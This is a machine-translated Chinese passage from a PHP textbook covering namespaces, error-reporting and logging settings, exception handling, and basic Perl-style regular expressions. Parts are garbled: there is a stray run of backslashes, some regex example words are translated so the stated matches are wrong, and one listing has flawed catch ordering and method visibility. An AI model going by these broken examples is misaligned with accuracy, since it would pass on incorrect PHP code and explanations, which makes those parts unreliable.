在这种情况下,名称空间是按原样导入或使用的,所有的类(以及函数和常数)都必须以完整的名称空间名称作为前缀。

<php
use Aws\S3\Command as Cmd;
$cmd = new Cmd\S3Command();

在第二个例子中,名称空间被重命名为Cmd,,此后所有对类和函数的引用都将以短名称为前缀。

一个特殊的名称空间是全局名称空间。这用反斜杠()引用。所有内置函数和类都放在全局名称空间中。为了从给定的名称空间中访问这些函数,您必须指定该函数或类属于全局名称空间。只有在使用名称空间时才需要这样做。

<?php
namespace MyNamespace; 

/* This function is MyNamespace\getFile() */
function getFile($path) {
     /* ... */
     $content = \file_get_contents($path);
     return $content;
}
?>

在上面的例子中,新函数getFile()被定义在一个名为 MyNamespace 的名称空间中。为了调用全局函数file_get_contents(),必须在它前面加上前缀\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

摘要

这一章和前一章向您介绍了 PHP 的 OOP 特性的全部。PHP 支持大多数存在于其他编程语言中的 OOP 概念,并且今天可用的许多库和框架都利用了这些概念。如果你是面向对象编程的新手,这些材料应该能帮助你更好地理解许多关键的面向对象编程概念,并启发你进行更多的实验和研究。

下一章介绍了一个强大的解决方案,可以有效地检测和响应在网站运行过程中可能突然出现的意外操作错误,即所谓的异常。

八、错误和异常处理

当涉及到编程时,错误和其他意想不到的事情无疑会蔓延到最琐碎的应用中。其中一些错误是程序员引起的,是开发过程中所犯错误的结果。还有一些是用户引起的,是由于最终用户不愿意或不能遵守应用的限制,例如没有输入语法上有效的电子邮件地址。还有一些是由于你完全无法控制的事件造成的,比如数据库或网络连接暂时无法访问。然而,不管错误的来源是什么,您的应用必须能够以一种优雅的方式对这种意外的错误做出反应,希望这样做不会丢失数据或崩溃。此外,您的应用应该能够为用户提供必要的反馈,以了解此类错误的原因,并相应地调整他们的行为。一些警告或错误也应该通知系统管理员或开发人员,允许他们采取措施并纠正问题。

本章介绍了 PHP 必须提供的处理错误和其他意外事件(称为异常)的几个特性。具体来说,涵盖了以下主题:

  • 配置指令 : PHP 的错误相关配置指令决定了 PHP 对错误检测的敏感程度以及该语言如何响应这些错误。本章介绍了其中的许多指令。

  • 错误记录:保持运行日志是记录纠正重复错误的进展和快速识别新引入问题的最佳方式。在本章中,您将学习如何将消息记录到操作系统的日志守护进程和自定义日志文件中。

  • 异常处理:异常是开发人员预测代码执行时可能发生的错误类型,并在不终止程序执行的情况下建立处理这些错误的机制的一种方式。许多其他编程语言都知道这一点,从版本 5 开始,它就成为 PHP 的一部分,在版本 7 中得到显著改进,允许捕捉异常和错误。

从历史上看,开发社区在实现适当的应用错误处理方面的松懈是出了名的。然而,随着应用变得越来越复杂和笨拙,将适当的错误处理策略融入到您的日常开发程序中的重要性怎么强调都不为过。因此,您应该花些时间熟悉 PHP 在这方面提供的许多特性。

你所有的虫子都属于你

作为一名程序员,你所有的错误都是属于你自己的,我保证你会看到很多错误。如果你是一个开发团队的一员,那么所有的 bug 都属于这个团队,一个团队成员可能必须修复其他团队成员引入的 bug。对于你来说,掌握这样一个事实是非常重要的:作为一名程序员,你的大量时间将被用来扮演 bug 修复者的角色,因为通过认识到甚至接受这一现实,并因此采取必要的步骤来最有效地检测和解决 bug,你将在提高生产力的同时显著地减少你的挫折感。

那么,一个典型的 PHP 错误是什么样子的呢?在尝试目前介绍的示例时,您可能已经被粗鲁地介绍过至少几个,但是让我们借此机会做一个正式的介绍:

Parse error: syntax error, unexpected '}' , expecting end of file in /Applications/first.php on line 7

这个密码实际上是 PHP 最常见的错误之一,报告了一个意外遇到的花括号(})。当然,正如您在前一章中所了解到的,括号是 PHP 语法中非常有效的一部分,用于包含诸如foreach语句之类的块。然而,当没有找到匹配的括号时,您会看到上面的错误。事实上,是打字错误(忘记插入匹配的括号)导致了这个错误。

$array = array(4,5,6,7);
foreach ($array as $arr)
  echo $arr;
}

你看到错误了吗?foreach语句的左括号丢失,意味着位于最后一行的右括号没有匹配。当然,通过使用支持自动完成匹配括号的代码编辑器,可以大大减少这些琐碎而耗时的错误的发生率;然而,仍然存在大量不容易识别和解决的错误。因此,您需要充分利用配置 PHP 的优势来有效地监控和报告错误,这是我接下来要深入探讨的主题。

配置 PHP 的错误报告行为

许多配置指令决定了 PHP 的错误报告行为。本节将介绍其中的许多指令。

设置所需的误差灵敏度水平

error_reporting指令决定了报告的敏感度等级。有 16 个级别可用,这些级别的任何组合都是有效的。这些级别的完整列表见表 8-1 。请注意,每个级别都包含其下的所有级别。例如,E_ALL级别报告表中低于它的 15 个级别的所有消息。

表 8-1

PHP 的错误报告级别

|

误差水平

|

描述

|
| --- | --- |
| E_ALL | 所有错误和警告 |
| E_COMPILE_ERROR | 致命的编译时错误 |
| E_COMPILE_WARNING | 编译时警告 |
| E_CORE_ERROR | PHP 初始启动时发生的致命错误 |
| E_CORE_WARNING | PHP 初始启动时出现的警告 |
| E_DEPRECATED | 关于使用计划在未来 PHP 版本中删除的特性的警告(在 PHP 5.3 中引入) |
| E_ERROR | 致命的运行时错误 |
| E_NOTICE | 运行时通知 |
| E_PARSE | 编译时分析错误 |
| E_RECOVERABLE_ERROR | 近乎致命的错误 |
| E_STRICT | PHP 版本可移植性建议 |
| E_USER_DEPRECATED | 关于用户启动使用在未来 PHP 版本中计划删除的特性的警告 |
| E_USER_ERROR | 用户产生的错误 |
| E_USER_NOTICE | 用户生成的通知 |
| E_USER_WARNING | 用户生成的警告 |
| E_WARNING | 运行时警告 |

基于核心开发人员对正确编码方法的决定,建议代码变更,旨在确保 PHP 版本间的可移植性。如果您使用了不推荐的函数或语法,错误地使用了引用,对类字段使用了var而不是作用域级别,或者引入了其他的风格差异,E_STRICT会提醒您注意。

注意

error_reporting指令使用波浪号字符(~)来表示逻辑运算符 NOT。

在开发阶段,您可能希望报告所有的错误。因此,考虑在 php.ini 中这样设置指令:

error_reporting = E_ALL

这个指令也可以在 PHP 脚本中设置。这在调试脚本时很有用,并且您不想更改所有脚本的服务器配置。这是通过如下的ini_set()函数完成的:

ini_set('error_reporting', E_ALL);

也可以使用error_reporting()功能。它比一般的ini_set()函数更短,可读性更好。

error_reporting(E_ALL);

在 php.ini 中配置指令时使用的常量也可以作为 php 脚本中的常量。

对于其他报告变化有很多机会,包括抑制某些错误类型,同时监视其他错误类型。然而,在开发阶段,您肯定希望有机会捕捉并解决所有可能的错误,这一点E_ALL做得很好。当然,当您的应用在生产环境中运行时,您绝不会希望向浏览器或 API 客户端输出任何难看的错误,这意味着您希望控制错误显示的方式和位置:这是我接下来将讨论的主题。

在浏览器中显示错误

启用display_errors指令会显示符合error_reporting定义的标准的任何错误。您应该仅在开发期间启用此指令,并确保在站点运行于生产环境中时禁用它,因为显示此类消息不仅可能进一步混淆最终用户,还可能暴露敏感信息,从而增加黑客攻击的可能性。例如,假设您使用一个名为configuration.ini的文本文件来管理一组应用配置设置。由于权限配置错误,应用无法写入文件。然而,您没有捕捉错误并提供用户友好的响应,而是允许 PHP 将问题报告给最终用户。显示的错误如下所示:

Warning: fopen(configuration.ini): failed to open stream: Permission denied in
/home/www/htdocs/www.example.com/configuration.ini on line 3

当然,您将敏感文件放在文档根树中已经违反了一条基本规则,但是现在您将文件的确切位置和名称告知用户,这大大加剧了问题的严重性。除非您已经采取了某些预防措施来防止通过您的 web 服务器访问该文件,否则用户可以简单地输入类似于 http://www.example.com/configuration.ini 的 URL,并检查您所有潜在的敏感配置设置。

在这个过程中,一定要启用display_startup_errors指令,它将显示 PHP 引擎初始化过程中遇到的任何错误。像display_errors一样,您需要确定display_startup_errors在您的生产服务器上是禁用的。

小费

error_get_last()函数返回一个关联数组,由类型、消息、文件和最后出现的错误行组成。

记录错误

从逻辑上讲,当您的应用在生产服务器上运行时,您会希望继续进行错误检测;但是,您不希望在浏览器中显示这些错误,而是希望记录它们。为此,在 php.ini 中启用log_errors指令。

记录这些日志语句的确切位置取决于error_log指令的设置。该值可以为空,在这种情况下,错误将记录到 SAPI 日志中。如果您在 Apache 下运行脚本,SAPI 日志将是 Apache 错误日志文件;如果您在 CLI 下执行,则是stderrerror_log指令也可以设置为特殊的关键字 syslog,这会导致错误被发送到 Linux 上的 syslog 或者 Windows 系统上的 Even log。最后,您可以指定一个文件名。这可以是一个绝对路径,使主机上的所有网站使用相同的文件,或者您可以指定一个相对路径,每个网站一个文件。最好将该文件放在文档根目录之外,并且运行 web 服务器的进程必须能够写入该文件。

如果您不熟悉 syslog,它是一个基于 Linux 的日志记录工具,提供了一个 API 来记录与系统和应用执行相关的消息。这些文件可以在大多数 Linux 系统的/var/log 中找到。Windows 事件日志本质上相当于 Linux 系统日志。通常使用事件查看器来查看这些日志。

如果您决定将错误记录到单独的文本文件中,web 服务器进程所有者必须有足够的权限写入该文件。此外,一定要将该文件放在文档根目录之外,以减少攻击者偶然发现它的可能性,并有可能发现一些对秘密进入您的服务器有用的信息。

在任何情况下,每个日志消息都将包括消息时间戳:

[24-Apr-2014 09:47:59] PHP Parse error: syntax error, unexpected '}' in /Applications/MAMP/htdocs/5thedition/08/first.php on line 7

至于使用哪一个,您应该根据具体环境来决定。如果你使用的是共享虚拟主机服务,那么主机提供商很可能已经配置了一个预定义的登录目的地,这意味着不需要做任何决定。如果您控制服务器,使用 syslog 可能是理想的,因为您将能够利用 syslog 解析实用程序来查看和分析日志。请仔细检查这两种可能性,并选择最适合您的服务器环境配置的策略。

您可以使用许多不同的指令进一步调整 PHP 的错误记录行为,包括log_errors_max_len,它设置每个记录项的最大长度(以字节为单位);ignore_repeated_errors,这使得 PHP 忽略出现在同一文件中同一行的重复错误消息;和ignore_repeated_source,这使得 PHP 忽略来自不同文件或同一文件中不同行的重复错误消息。有关这些指令和所有其他影响错误报告的指令的更多细节,请参见 PHP 手册:

https://php.net/manual/en/errorfunc.configuration.php#ini.error-log

创建和记录自定义消息

当然,您并不局限于依靠 PHP 来检测和记录错误消息。事实上,您可以随意将任何内容记录到日志中,包括状态消息、基准统计数据和其他有用的数据。

要记录定制消息,使用error_log()函数,传递消息、期望的日志目的地和一些额外的定制参数。最简单的用例如下所示:

error_log("New user registered");

在执行时,消息和相关的时间戳将被保存到由error_log指令定义的目的地。该消息将类似于以下内容:

[24-Apr-2014 12:15:07] New user registered

您可以选择覆盖由error_log指令定义的目的地,通过传递一些附加参数来指定一个定制的日志位置:

error_log("New user registered", 3, "/var/log/users.log");

第二个参数设置消息类型(0=PHP’s logging system, 1=Send email, 2=no logger, 3=Append to a file and 4+Use the SAPI logger),而第三个参数(/var/log/users.log)标识新的日志文件。请记住,该文件需要对 web 服务器是可写的,因此请确保相应地设置权限。

异常处理

在本节中,您将学习所有关于异常处理的知识,包括基本概念、语法和最佳实践。因为异常处理对许多读者来说可能是一个全新的概念,所以我将首先提供一个概述。如果您已经熟悉了基本概念,请随意跳到 PHP 特定的材料。

为什么异常处理很方便

在一个完美的世界里,你的程序运行起来就像一台润滑良好的机器,没有内部的和用户发起的会扰乱执行流程的错误。然而,编程就像现实世界一样,经常会遇到不可预见的事情。在程序员的行话中,这些意外事件被称为异常。一些编程语言能够优雅地对异常做出反应,而不是导致应用陷入停顿,这种行为被称为异常处理。当检测到错误时,代码发出,或者抛出异常。反过来,相关的异常处理代码获得问题的所有权,或者捕获异常。这种策略有很多好处。

首先,异常处理通过使用一种通用的策略,不仅识别和报告应用错误,还指定一旦遇到错误程序应该做什么,从而使错误识别和管理过程变得有条不紊。此外,异常处理语法促进了错误处理器与一般应用逻辑的分离,从而使代码更加有组织性和可读性。大多数实现异常处理的语言将这个过程抽象为四个步骤:

  • 应用试图执行一些任务。

  • 如果尝试失败,异常处理功能将引发异常。

  • 分配的处理器捕捉异常并执行任何必要的任务。

  • 异常处理功能会清除尝试过程中消耗的所有资源。

几乎所有的语言都借鉴了 C++的语法,称为try / catch。下面是一个简单的伪代码示例:

try {
    perform some task
    if something goes wrong
        throw exception("Something bad happened")
// Catch the thrown exception
} catch(exception) {
    Execute exception-specific code
}

您还可以创建多个处理器块,这允许您考虑各种错误。然而,这很难管理,而且可能会有问题,因为很容易忽略异常。您可以通过使用各种预定义的处理器或通过扩展其中一个预定义的处理器(本质上是创建您自己的自定义处理器)来实现这一点。为了便于说明,让我们以前面的伪代码示例为基础,使用人为的处理器类来管理 I/O 和与除法相关的错误:

try {
    perform some task
    if something goes wrong
        throw IOexception("Could not open file.")
    if something else goes wrong
        throw Numberexception("Division by zero not allowed.")
// Catch IOexception
} catch(IOexception) {
    output the IOexception message
}
// Catch Numberexception
} catch(Numberexception) {
    output the Numberexception message
}

如果你是例外的新手,这种处理意外结果的标准化方法可能就像一股新鲜空气。下一节通过介绍和演示 PHP 中可用的各种异常处理过程,将这些概念应用于 PHP。

PHP 的异常处理能力

本节介绍 PHP 的异常处理特性。具体来说,我将触及基本异常类的内部结构,并演示如何扩展这个基类、定义多个 catch 块以及引入其他高级处理任务。让我们从基础开始:基本异常类。

扩展基本异常类

PHP 的基本异常类实际上非常简单,提供了一个不包含参数的默认构造函数、一个包含两个可选参数的重载构造函数和六个方法。本节将介绍这些参数和方法。

默认构造函数

调用默认异常构造函数时不带参数。例如,您可以像这样调用异常类:

throw new Exception();

例如,将下面一行代码保存到一个支持 PHP 的文件中,并在您的浏览器中执行它:

throw new Exception("Something bad just happened");

执行时,您会收到一个类似如下的致命错误:

Fatal error: Uncaught exception 'Exception' with message 'Something bad just happened' in /Applications/ /08/first.php:9 Stack trace: #0 {main} thrown in /Applications/uhoh.php on line 9

术语堆栈跟踪指的是在错误发生之前调用的函数列表,它将帮助您识别正确的文件、类和方法。这是调试时的重要信息。

当然,致命错误恰恰是您试图避免的!为此,您需要处理或者说捕获异常。一个示例很好地说明了这是如何实现的,通过确定是否发生了异常,如果发生了异常,则正确处理该异常:

try {
    $fh = fopen("contacts.txt", "r");
    if (! $fh) {
        throw new Exception("Could not open the file!");
    }
} catch (Exception $e) {
    echo "Error (File: ".$e->getFile().", line ".
          $e->getLine()."): ".$e->getMessage();
}

如果引发异常,将会输出如下内容:

Warning: fopen(contacts.txt): failed to open stream: No such file or directory in /Applications/read.php, line 3
Error (File: /Applications/read.php, line 5): Could not open the file!

在这个例子中,引入了 catch 语句,它负责实例化异常对象(存储在这里的$e)。一旦实例化,这个对象的方法就可以用来了解关于异常的更多信息,包括抛出异常的文件的名称(通过getFile()方法)、发生异常的行(通过getLine()方法)以及与抛出的异常相关的消息(通过getMessage()方法)。

一旦实例化了异常,就可以使用本节后面介绍的以下六种方法中的任何一种。然而,只有四个是有用的;另外两个只有在用重载的构造函数实例化类时才有用。

介绍 Finally 块

finally块与 try 和 catch 块一起工作,执行总是在 try 和 catch 块之后执行的代码。无论发生什么,代码都会执行;也就是说finally块不关心异常是否实际发生。

finally块中的代码通常用于恢复系统资源,比如那些用于打开文件或数据库连接的资源。

$fh = fopen("contacts.txt", "r");
try {
    if (! fwrite($fh, "Adding a new contact")) {
        throw new Exception("Could not open the file!");
    }
} catch (Exception $e) {
    echo "Error (File: ".$e->getFile().", line ".
          $e->getLine()."): ".$e->getMessage();
} finally {
    fclose($fh);
}

在本例中,不管fwrite()函数是否成功写入文件,您都需要正确地关闭文件。通过将这段代码包含在 finally 块中,您可以确定这将会发生。

扩展异常类

尽管 PHP 的基本异常类提供了一些漂亮的特性,但在某些情况下,您可能希望扩展该类以允许额外的功能。例如,假设您想要国际化您的应用,以允许翻译错误消息。这些消息可能位于一个单独的文本文件中的数组中。扩展的异常类将从这个平面文件中读取,将传递给构造函数的错误代码映射到适当的消息(可能已经本地化为适当的语言)。下面是一个平面文件示例:

1,Could not connect to the database!
2,Incorrect password. Please try again.
3,Username not found.
4,You do not possess adequate privileges to execute this command.

当用一种语言和一个错误代码实例化MyException时,它将读入适当的语言文件,将每一行解析成一个由错误代码及其相应消息组成的关联数组。在清单 8-1 中可以找到MyException类和一个使用示例。

class MyException extends Exception {
    function __construct($language, $errorcode) {
        $this->language = $language;
        $this->errorcode = $errorcode;
    }
    function getMessageMap() {
        $errors = file("errors/{$this->language}.txt");
        foreach($errors as $error) {
             list($key,$value) = explode(",", $error, 2);
             $errorArray[$key] = $value;
        }
        return $errorArray[$this->errorcode];
    }
}
try {
    throw new MyException("english", 4);
}
catch (MyException $e) {
    echo $e->getMessageMap();
}

Listing 8-1MyExcetion Class

捕捉多个异常

优秀的程序员必须始终确保考虑到所有可能的情况。考虑这样一个场景,您的站点提供了一个 HTML 表单,允许用户通过提交他或她的电子邮件地址来订阅时事通讯。几种结果是可能的。例如,用户可以执行以下操作之一:

  • 请提供有效的电子邮件地址

  • 提供无效的电子邮件地址

  • 完全忽略输入任何电子邮件地址

  • 试图发动攻击,如 SQL 注入

适当的异常处理将考虑所有这样的场景。但是,您需要提供捕捉每个异常的方法。幸运的是,用 PHP 很容易做到这一点。清单 8-2 给出了满足这个需求的代码。

<?php
    /* The InvalidEmailException class notifies the
       administrator if an e-mail is deemed invalid. */
    class InvalidEmailException extends Exception {
        function __construct($message, $email) {
           $this->message = $message;
           $this->notifyAdmin($email);
        }

        private function notifyAdmin($email) {
           mail("admin@example.org","INVALID EMAIL",$email,"From:web@example.com");
        }
    }

    /* The Subscribe class validates an e-mail address
       and adds the e-mail address to the database. */
    class Subscribe {
        function validateEmail($email) {
            try {
                if ($email == "") {
                    throw new Exception("You must enter an e-mail address!");
                } else {
                    list($user,$domain) = explode("@", $email);
                    if (! checkdnsrr($domain, "MX"))
                        throw new InvalidEmailException(
                            "Invalid e-mail address!", $email);
                    else
                        return 1;
                }
            } catch (Exception $e) {
                  echo $e->getMessage();
            } catch (InvalidEmailException $e) {
                  echo $e->getMessage();
                  $e->notifyAdmin($email);
            }
        }
        /* Add the e-mail address to the database */
        function subscribeUser() {
            echo $this->email." added to the database!";
        }
    }

    // Assume that the e-mail address came from a subscription form
    $_POST['email'] = "someuser@example.com";

    /* Attempt to validate and add address to database. */
    if (isset($_POST['email'])) {
        $subscribe = new Subscribe();
        if($subscribe->validateEmail($_POST['email']))
            $subscribe->subscribeUser($_POST['email']);
    }
?>

Listing 8-2Proper Exception Handling

您可以看到有可能触发两个不同的异常:一个从基类派生,另一个从InvalidEmailException类扩展。

一些验证可以由浏览器中的 JavaScript 代码执行。这通常会带来更好的用户体验,但是您仍然需要在 PHP 代码中执行输入验证。这是因为不能保证请求来自浏览器或启用了 JavaScript 的浏览器,或者恶意用户找到了绕过您用 JavaScript 创建的任何客户端检查的方法。永远不要相信 PHP 脚本的输入。

标准 PHP 库异常

标准 PHP 库(SPL)扩展了 PHP,为普通任务提供现成的解决方案,如文件访问、各种类型的迭代以及 PHP 本身不支持的数据结构(如堆栈、队列和堆)的实现。认识到异常的重要性,SPL 还提供了对 13 种预定义异常的访问。这些扩展可以分为逻辑相关的或运行时相关的。所有这些类最终都扩展了原生的Exception类,这意味着你可以访问像getMessage()getLine()这样的方法。每个异常的定义如下:

  • BadFunctionCallException:BadFunctionCallException类应该用于处理调用未定义方法的情况,或者调用方法时参数数量不正确的情况。

  • BadMethodCallException:BadMethodCallException类应该用于处理调用未定义方法的情况,或者调用方法时参数数量不正确的情况。

  • DomainException:DomainException类应该用于处理输入值超出范围的情况。例如,如果一个减肥应用包含一个将用户当前体重保存到数据库的方法,并且提供的值小于零,那么应该抛出一个类型为DomainException的异常。

  • InvalidArgumentException:InvalidArgumentException类应该用于处理不兼容类型的参数被传递给函数或方法的情况。

  • LengthException:应该使用LengthException类来处理字符串长度无效的情况。例如,如果一个应用包含一个处理用户社会保险号的方法,并且传递给该方法的字符串长度不正好是九个字符,那么应该抛出一个类型为LengthException的异常。

  • LogicException:LogicException类是两个基类之一,所有其他 SPL 异常都从这两个基类中扩展而来(另一个基类是RuntimeException类)。您应该使用LogicException类来处理应用编程错误的情况,比如在设置类属性之前试图调用一个方法。

  • OutOfBoundsException:OutOfBoundsException类应该用于处理提供的值与数组定义的任何键都不匹配的情况,或者超出了任何其他数据结构的定义限制并且没有更合适的异常(例如,字符串的长度异常)的情况。

  • OutOfRangeException:应该使用OutOfRangeException类来处理函数的输出值,这些值落在预定义的范围之外。这与DomainException的不同之处在于DomainException应该关注输入而不是输出。

  • OverflowException:应该使用OverflowException类来处理算术或缓冲区溢出的情况。例如,当试图向预定义大小的数组中添加值时,会触发溢出异常。

  • RangeException:在文档中定义为DomainException类的运行时版本,RangeException类应该用于处理与溢出和下溢无关的算术错误。

  • RuntimeException:RuntimeException类是所有其他 SPL 异常扩展的两个基类之一(另一个基类是LogicException类),旨在处理只在运行时出现的错误。

  • UnderflowException:应该使用UnderflowException类来处理发生算术或缓冲区下溢的情况。例如,当试图从空数组中移除一个值时,会触发下溢异常。

  • UnexpectedValueException:UnexpectedValueException类应该用于处理所提供的值与一组预定义的值不匹配的情况。

请记住,这些异常类目前不提供任何与它们要处理的情况相关的特殊功能;相反,它们的目的是通过使用恰当命名的异常处理器,而不是简单地使用一般的Exception类,来帮助您提高代码的可读性。

PHP 7 中的错误处理

在版本 7 之前的 PHP 版本中,许多错误都是由一个简单的错误报告特性来处理的,这使得捕捉许多错误变得困难或不可能。特别是致命的错误可能是一个问题,因为这些错误会导致执行停止。从 PHP 7 开始,这变成了对大多数错误使用一个错误异常。以这种方式抛出的错误必须由一个catch(Error $e) {}语句来处理,而不是由本章前面提到的catch(Exception $e) {}语句来处理。

Error ( https://php.net/manual/en/class.error.php )和Exception ( https://php.net/manual/en/class.exception.php )类都实现了 Throwable 接口。Error 类用于内部错误,exception 用于用户定义的异常。

Error类定义了许多子类来处理特殊情况。这些是ArithmeticErrorDivisionByZeroError``AssertionError``ParseErrorTypeError

摘要

本章涵盖的主题涉及当今编程行业中使用的许多核心错误处理实践。虽然不幸的是,这些特性的实现仍然是偏好而不是策略,但是日志和错误处理等功能的引入极大地提高了程序员检测和响应代码中不可预见的问题的能力。

下一章将深入探讨 PHP 的字符串解析能力,涵盖该语言强大的正则表达式特性,并深入探讨许多强大的字符串操作函数。

九、字符串和正则表达式

程序员基于关于信息的分类、解析、存储和显示的既定规则来构建应用,无论这些信息是由美食菜谱、商店销售收据、诗歌还是其他任何内容组成。本章介绍了许多 PHP 函数,在执行这类任务时,您肯定会经常用到这些函数。

本章涵盖以下主题:

  • 正则表达式: PHP 支持使用正则表达式在字符串中搜索模式,或者根据模式用另一个值替换字符串中的元素。有几种类型的正则表达式,PHP 支持的一种称为 Pearl style regex 或 PCRE。

  • 字符串操作: PHP 是字符串操作的“瑞士军刀”,允许您以几乎所有可以想象的方式切割文本。提供了近 100 个原生字符串操作函数,并且能够将函数链接在一起以产生更复杂的行为,在耗尽 PHP 在这方面的能力之前,您将耗尽编程思路。在这一章中,我将向你介绍 PHP 提供的几个最常用的操作函数。

正则表达式

正则表达式根据定义的语法规则提供描述或匹配数据的基础。正则表达式只不过是字符本身的一种模式,与某个文本包相匹配。这个序列可能是您已经熟悉的模式,例如单词 dog、,或者它可能是在模式匹配环境中具有特定含义的模式,例如<(?)>.*<\ /.?>

如果您还不熟悉通用表达式的机制,请花些时间通读构成本节剩余部分的简短教程。然而,因为已经有无数的在线和印刷教程是关于这个问题的,所以我将重点为您提供这个主题的基本介绍。如果您已经非常熟悉正则表达式语法,可以跳过本教程,直接阅读“PHP 的正则表达式函数(Perl 兼容)”一节。

正则表达式语法(Perl)

Perl 一直被认为是有史以来最强大的解析语言之一。它提供了一种全面的正则表达式语言,甚至可以用来搜索、修改和替换最复杂的字符串模式。PHP 开发人员认为,他们应该让 PHP 用户可以使用著名的 Perl 正则表达式语法,而不是重新发明正则表达式。

Perl 的正则表达式语法实际上是 POSIX 实现的派生,这导致了两者之间相当大的相似性。本节的剩余部分将致力于对 Perl 正则表达式语法的简要介绍。让我们从一个基于 Perl 的正则表达式的简单例子开始:

/food/

请注意,字符串food被括在两个正斜杠之间,也称为分隔符。除了斜线(/)之外,还可以使用散列符号(#)、加号(+)、百分比(%)等。如果在模式中使用,用作分隔符的字符必须用反斜杠()转义。使用不同的分隔符将有可能消除转义的需要。如果要匹配包含许多斜线的 URL 模式,使用散列符号作为分隔符可能更方便,如下所示:

/http:\/\/somedomain.com\//
#http://somedomain.com/#

除了匹配精确的单词,还可以使用量词来匹配多个单词:

/fo+/

使用+限定符表示任何包含 f 后跟一个或多个 o 的字符串都将匹配该模式。一些潜在的匹配包括foodfoolfo4。或者,使用*限定符来匹配 0 个或多个前面的字符。例如

/fo*/

将匹配字符串中 f 后面跟 0 或多个 0 的任何部分。这将匹配前面示例中的食物傻瓜fo4 以及快速精细等。这两个限定词对字符的重复次数都没有上限。如下例所示,可以添加这样的上限:

/fo{2,4}/

这与f匹配,后跟两到四次o。一些潜在的匹配包括foolfoooolfoosball

上面的三个例子定义了一个以 f 开头的模式,后面是 1 个或多个 o,0 个或多个 o,或者 2 到 4 个 o。模式之前或之后的任何字符都不是匹配的一部分。

修饰语

通常你会想要调整正则表达式的解释;例如,您可能希望告诉正则表达式执行不区分大小写的搜索,或者忽略嵌入其语法中的注释。这些调整被称为修饰语,它们对帮助你写出简洁明了的表达大有帮助。表 9-1 中列出了一些更有趣的修饰语。有效修饰符的完整列表和详细描述可以在这里找到: http://php.net/manual/en/reference.pcre.pattern.modifiers.php

表 9-1

五种样品改性剂

|

修改

|

描述

|
| --- | --- |
| i | 执行不区分大小写的搜索。 |
| m | 将一个字符串视为几行(m表示多个)。默认情况下,^$字符匹配在字符串的最开始和最末尾。使用 m 修饰符将允许^$在字符串中任何一行的开头匹配。 |
| s | 将字符串视为单行,忽略其中的换行符。 |
| x | 忽略正则表达式中的空格和注释,除非空格被转义或在字符块中。 |
| U | 停在第一场比赛。很多量词都是“贪心”的;他们尽可能多地匹配模式,而不是只在第一次匹配时停止。你可以用这个修饰符使它们变得“不优雅”。 |

这些修饰符直接放在正则表达式之后,例如,

/string/i。让我们考虑一个例子:

  • /wmd/i:匹配WMDwMDWMdwmd以及字符串wmd的任何其他大小写变化。

其他语言支持全局修饰符(g)。然而在 PHP 中,这是通过使用不同的函数preg_match()preg_match_all()来实现的。

元字符

Perl 正则表达式也使用元字符来进一步过滤它们的搜索。元字符只是一个字符或字符序列,它象征着特殊的含义。有用的元字符列表如下:

  • \A:仅匹配字符串的开头。

  • \b:匹配单词边界。

  • \B:匹配除单词边界以外的任何内容。

  • \d:匹配一个数字字符。这个和[0-9]一样。

  • \D:匹配非数字字符。

  • \s:匹配一个空白字符。

  • \S:匹配一个非白色空格字符。

  • []:括起一个字符类。

  • ():包含一个字符组或定义一个反向引用或子模式的开始和结束。

  • $:匹配行尾。

  • ^:在多行模式下匹配字符串的开头或每一行的开头。

  • .:匹配除换行符以外的任何字符。

  • \:引用下一个元字符。

  • \w:匹配任何只包含下划线和字母数字字符的字符串。这取决于语言环境。对于美国英语,这与[a-zA-Z0-9_]相同。

  • \W:匹配字符串,省略下划线和字母数字字符。

让我们考虑几个例子。第一个正则表达式将匹配字符串,如pisalisa,但不匹配sand:

/sa\b/

下一个匹配第一个不区分大小写的单词linux:

/\blinux\b/i

单词边界元字符的反义词是\B,匹配除单词边界之外的任何内容。因此,本例将匹配字符串,如sandSally,但不匹配Melissa:

/sa\B/i

最后一个示例返回与美元符号后跟一个或多个数字匹配的字符串的所有实例:

/\$\d+/

PHP 的正则表达式函数(Perl 兼容)

PHP 提供了九个使用 Perl 兼容的正则表达式搜索和修改字符串的函数:preg_filter(), preg_grep(), preg_match(), preg_match_all(), preg_quote(), preg_replace(), preg_replace_callback(),preg_replace_callback_array(),preg_split()。除此之外,preg_last_error()函数还提供了获取上次执行的错误代码的方法。这些功能将在以下章节中介绍。

搜索模式

preg_match()函数在字符串中搜索特定的模式,如果存在则返回TRUE,否则返回FALSE。其原型如下:

int preg_match(string pattern, string string [, array matches] [, int flags [, int offset]]])

可选的输入参数 matches 通过引用传递,并且将包含搜索模式中包含的子模式的各个部分,如果适用的话。下面是一个使用preg_match()执行不区分大小写的搜索的例子:

<?php
    $line = "vim is the greatest word processor ever created! Oh vim, how I love thee!";
    if (preg_match("/\bVim\b/i", $line, $match)) print "Match found!";
?>

例如,如果找到了单词Vimvim,这个脚本将确认匹配,但不会确认simplevimvimsevim

您可以使用可选的 flags 参数来修改返回的 matches 参数的行为,通过返回每个匹配的字符串及其由匹配位置确定的相应偏移量来改变数组的填充方式。

最后,可选的 offset 参数会将字符串内的搜索起点调整到指定位置。

匹配模式的所有出现

preg_match_all()函数匹配一个字符串中一个模式的所有出现,按照您通过可选输入参数指定的顺序将每个出现分配给一个数组。其原型如下:

int preg_match_all(string pattern, string string, array matches [, int flags] [, int offset]))

标志参数接受三个值之一:

  • 如果可选的标志参数未定义,则PREG_PATTERN_ORDER为默认值。PREG_PATTERN_ORDER以您认为最符合逻辑的方式指定顺序:$pattern_array[0]是所有完全模式匹配的数组,$pattern_array[1]是匹配第一个带括号正则表达式的所有字符串的数组,依此类推。

  • PREG_SET_ORDER对数组的排序与默认设置稍有不同。$pattern_array[0]包含与第一个带括号的正则表达式匹配的元素,$pattern_array[1]包含与第二个带括号的正则表达式匹配的元素,依此类推。

  • PREG_OFFSET_CAPTURE修改返回的matches参数的行为,通过返回每个匹配的字符串及其由匹配位置确定的相应偏移量来改变数组的填充方式。

下面是如何使用preg_match_all()来查找包含在粗体 HTML 标签中的所有字符串:

<?php
    $userinfo = "Name: <b>Zeev Suraski</b> <br> Title: <b>PHP Guru</b>";
    preg_match_all("/<b>(.*)<\/b>/U", $userinfo, $pat_array);
    printf("%s <br /> %s", $pat_array[0][0], $pat_array[0][1]);
?>

这将返回以下内容:

Zeev Suraski
PHP Guru

搜索数组

preg_grep()函数搜索一个数组的所有元素,返回一个由匹配特定模式的所有元素组成的数组。其原型如下:

  • 数组 preg_grep(字符串模式,数组输入 [,int 标志)

考虑一个使用这个函数在数组中搜索以p开头的食物的例子:

<?php
